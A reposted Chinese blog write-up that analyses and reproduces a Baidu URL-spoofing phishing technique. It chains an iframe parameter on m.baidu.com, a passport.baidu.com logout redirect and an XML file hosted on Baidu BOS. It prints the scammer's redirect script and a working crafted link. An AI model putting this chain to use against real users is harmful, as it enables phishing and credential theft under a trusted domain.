惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Martin Fowler
Martin Fowler
V
Visual Studio Blog
有赞技术团队
有赞技术团队
T
Tailwind CSS Blog
B
Blog
I
InfoQ
博客园 - 三生石上(FineUI控件)
阮一峰的网络日志
阮一峰的网络日志
F
Fortinet All Blogs
H
Help Net Security
博客园 - Franky
宝玉的分享
宝玉的分享
博客园 - 司徒正美
C
Check Point Blog
G
Google Developers Blog
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Jina AI
Jina AI
T
The Blog of Author Tim Ferriss
MongoDB | Blog
MongoDB | Blog
云风的 BLOG
云风的 BLOG
A
About on SuperTechFans
罗磊的独立博客
大猫的无限游戏
大猫的无限游戏
IT之家
IT之家

繁星点点

最新轻量级龙虾部署教程 通过netboot.xyz重装系统 giffgaff卡保号教程 Llinux系统中全新透明代理方案(可代理所有出站流量) tailscale开启子网路由常见的坑 OpenWrt固件编译 解决UFW和Docker的问题 使用PGP的非对称算法加密文件 NSSM工具把任意exe程序注册为Windows后台服务 轻量级简约端口转发rinetd 安卓IDE的安装和使用 IP信息查询网站汇总 热点共享代理教程 SSH使用密钥认证登录详细解释 Debian系统公网IP出口切换指南,适用多IP服务器 Windows系统安装Scoop包管理器 安卓Flutter开发学习笔记 使用手机搭建节点服务端 关于github提交记录泄露真实邮箱的处理办法 anytls协议部署教程 caddy给域名用上ECH加密 通过gitlab流水线自动备份仓库 通过CF-Workers代理访问网站 低配机器使用alpine系统跑docker 端口敲门教程 3x-ui面板通过api管理示例 nmap端口扫描 数据库常用命令 snap和winget包管理器 Git推送GitHub常用命令
网络安全之百度URL欺骗漏洞分析和复现
2024-08-16 · via 繁星点点
  • 场景介绍
    骗子给了一个网站诱导访问,链接很长,看开头是百度的官方链接,https://m.baidu.com/?from=ddcai#iact=wiseindex/tabs/news/activity/newsdetail 所以安全意识不强的肯定以为是安全的网站,然后点进去后就中招了

  • 名词解释
    这种漏洞允许攻击者构造一个看似合法的URL(例如 https://a.com/url=https://b.com ),但实际上会显示来自另一个不受信任的网站(如 https://b.com )的内容,而用户的浏览器地址栏中显示的仍然是原网站的URL (https://a.com )。

  • 攻击者可以利用这种漏洞来实施钓鱼攻击,让用户相信他们正在访问一个可信网站,而实际上他们正在与一个恶意网站交互。

  • 漏洞的影响

  • 钓鱼攻击:攻击者可以创建看似可信的URL,但实际上这些URL会重定向到钓鱼网站,这些网站可能会窃取用户的敏感信息,如密码和个人数据。

  • 安全绕过:用户可能会被重定向去下载恶意软件或其他有害内容,却误以为这些内容来自可信的来源。
    个人分析

  • 骗子链接如下

https://m.baidu.com/?from=ddcai#iact=wiseindex/tabs/news/activity/newsdetail={“linkData”:{“name”:“iframe/mib-iframe”,“url”:“https://passport.baidu.com/?logout=&aid=7&u=https://data5678.bj.bcebos.com/16556/mc?data=kG1e6hRQytb7Uk2B6sXrCdzDEo5eN9ta6Xu4YWzI4deXwu3aG02sNOw5-QYUjq7F”}} 45

{
    "linkData": {
        "name": "iframe/mib-iframe",
        "url": "https://passport.baidu.com/?logout=&aid=7&u=https://data5678.bj.bcebos.com/16556/mc?data=kG1e6hRQytb7Uk2B6sXrCdzDEo5eN9ta6Xu4YWzI4deXwu3aG02sNOw5-QYUjq7F"
    }
}

这个应该是百度新闻(百家号)的一个页面,原本应该是百度引用自己家网站其他页面的信息所用。

页面中iframe链接被替换成了骗子自己的网站(现在钓鱼网站已被删除,现在显示404)。

  • linkData中的url

https://passport.baidu.com/?logout=&aid=7&u=https://data5678.bj.bcebos.com/16556/mc?data=kG1e6hRQytb7Uk2B6sXrCdzDEo5eN9ta6Xu4YWzI4deXwu3aG02sNOw5-QYUjq7F 17

  • 这个应该是百度的退出链接,退出登录后跳转到 https://data5678.bj.bcebos.com/ 这个域名(后面带的data参数不重要,后来发现是骗子用来识别从哪里跳转过来然后给什么地址的参数)。

  • 尝试替换其他域名均跳转到 baidu.com 百度首页,这个域名其实是百度云对象存储BOS的域,在百度自家白名单内。

  • 页面内容

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns="http://www.w3.org/1999/xhtml">
    <xsl:template match="/">
        <html>
            <head>
                <title>...</title>
                <meta content="always" name="referrer"/>
            </head>
            <body>
                <script><![CDATA[
                    document.addEventListener("DOMContentLoaded", function() {
                        processData();
                    });

                    function processData() {
                        var data = decodeURIComponent(window.location.search.substr(1)); // 解码URL参数
                        // 只在调用后端接口时在sbm后追加/time
                        var apiEndpoint = 'https://book.muzhix.cn/rpa.php';
                        data = data.split('data=')[1];
                        var xhr = new XMLHttpRequest();
                        xhr.open('GET', apiEndpoint + '?data=' + data, true);
                        xhr.onreadystatechange = function () {
                            if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
                                var responseData = JSON.parse(xhr.responseText);
                                window.location.href = responseData.data;
                            }
                        };
                        xhr.send();
                    }
                ]]></script>
            </body>
        </html>
    </xsl:template>
</xsl:stylesheet>

  • 看不太懂前后的xml,丢给AI解释。
这个 XSLT 样式表是用来将 XML 输入转换成 HTML 页面的。
页面中包含 JavaScript 代码,用于处理 URL 参数并使用 AJAX 向服务器端脚本发送请求。
  • 最后是用xhr请求数据,拼接链接 window.location.href 替换掉iframe的链接。
    实现内容的替换。

  • 漏洞复现

  • 注册百度云对象存储BOS。

  • 新建存储桶,地域随便,读写权限为公共读。
    创建的北京节点一直上传失败,只能换一个广州的了,

  • 修改代码,其他不要直接替换链接

<html>
    <head>
        <title>...</title>
        <meta content="always" name="referrer"/>
    </head>
    <body>
        <script>
            document.addEventListener("DOMContentLoaded", function() {
                processData();
            });

            function processData() {
                var url = 'https://linux.do/u/k452b';
                window.location.href = url;
            }
        </script>
    </body>
</html>

  • 上传后,发现死活无法访问只能下载,抓包查看响应头被加上了 Content-Disposition:'attachment=filename; 所以只能下载。

遂找到 储存桶设置 – 配置管理 – 静态网站托管 打开,但也失败,始终是下载。

转载

打开文档阅读说明如下:只要是以官方域访问html的,均为下载形式。

转载

  • 重新抓包骗子的网页,发现Content-Type: text/xml,难道格式是xml?也难怪前后都是xml标签。
  • 重新整,修改代码后,把格式改为xml重新上传,打开百度云提供的域名成功跳转到 https://linux.do/u/k452b
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns="http://www.w3.org/1999/xhtml">
    <xsl:template match="/">
        <html>
            <head>
                <title>...</title>
                <meta content="always" name="referrer"/>
            </head>
            <body>
                <script><![CDATA[
                    document.addEventListener("DOMContentLoaded", function() {
                        processData();
                    });

                    function processData() {
                        var url = 'https://linux.do/u/k452b';
                        window.location.href = url
                    }
                ]]></script>
            </body>
        </html>
    </xsl:template>
</xsl:stylesheet>

  • 重新整理拼接url,访问后iframe中提示linux.do拒绝了我们的请求。
    转载

  • 抓包看是同源策略导致无法显示,换一个没有同源策略的网站后成功显示网站。

转载

  • 域名不变,iframe框架内容被替换。

转载

转载

  • 完整链接
    url编码后

https://m.baidu.com/?from=ddcai#iact=wiseindex/tabs/news/activity/newsdetail=%7B%2522linkData%2522%253A%7B%2522name%2522%253A%2522iframe%252Fmib-iframe%2522%252C%2522url%2522%253A%2522https%253A%252F%252Fpassport.baidu.com%252F%253Flogout%253D%2526aid%253D7%2526u%253Dhttps%253A%252F%252Flinuxdo.gz.bcebos.com%252Flinuxdo.xml%2522%7D%7D 86

  • 总结
    这个链接利用了百度内部的一些机制,如 iframe 的加载方式和 URL 参数的处理。

绕过iframe域名白名单

攻击者找到了一种方法,即使用百度自己的域名(如百度云对象存储 BOS 的域名 bj.bcebos.comgz.bcebos.com)来加载恶意内容。
由于这些域名属于百度内部,攻击者通过这些域名上传恶意内容,从而绕过了白名单机制。
在百度云对象储存BOS中

攻击者发现了通过上传 XML 文件绕过HTML文件的限制,XML 文件被浏览器解析为HTML网页并执行其中的JS代码。
这种方法利用了浏览器对 XML 的默认处理方式,即作为文本类型解析,而不是强制下载。

本文转自 https://linux.do/t/topic/168244